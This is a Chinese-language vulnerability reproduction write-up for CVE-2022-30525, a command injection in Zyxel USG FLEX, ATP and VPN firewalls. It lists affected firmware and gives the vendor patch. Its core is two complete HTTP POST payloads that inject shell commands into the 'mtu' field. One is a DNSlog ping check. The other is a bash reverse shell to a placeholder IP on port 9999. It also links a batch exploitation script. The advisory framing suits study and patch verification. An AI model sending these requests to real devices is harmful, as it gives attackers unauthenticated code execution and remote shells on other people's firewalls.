漏洞说明

ZyXEL USG FLEX 等都是中国台湾合勤(ZyXEL)公司的防火墙产品。2022年5月12日, Zyxel发布安全公告,修复了一个存在于部分防火墙版本的CGI程序中的命令注入漏洞。漏洞编号:CVE-2022-30525,漏洞威胁等级:严重,漏洞评分:9.8。

该漏洞存在于某些Zyxel防火墙版本的 CGI 程序中,允许在未经身份验证的情况下在受影响设备上以nobody用户身份执行任意命令。

影响范围

ATP系列固件:5.10-5.21 Patch 1

VPN系列固件:4.60-5.21 Patch 1

USG FLEX 100(W)、200、500、700:5.00-5.21 Patch 1

USG FLEX 50(W)/USG20(W)-VPN:5.10-5.21 Patch 1

漏洞复现

出现漏洞的文件为 lib_wan_settings.py 下的 setWanPortSt 方法,从源码里可以看到拼接的参数为 mtu , 随后直接 os.system 命令执行

手工验证:

POC:

其中mtu参数后面为要执行的命令

POST /ztp/cgi-bin/handler HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Type: application/json
Connection: close
Content-Length: 165

{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping {DNSlog};","data":"hi"}

反弹Shell:

POST /ztp/cgi-bin/handler HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Type: application/json
Connection: close
Content-Length: 165

{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":";bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1';","data":"hi"}

批量验证:

脚本地址:https://github.com/shuai06/CVE-2022-30525

修复建议

厂商已发布补丁修复漏洞,用户请尽快更新至安全版本:ZLD V5.30。

下载链接如下:https://www.zyxel.com/support/download_landing.shtml

参考链接

https://mp.weixin.qq.com/s/du56JX1ft03Z-YtM2C2E8A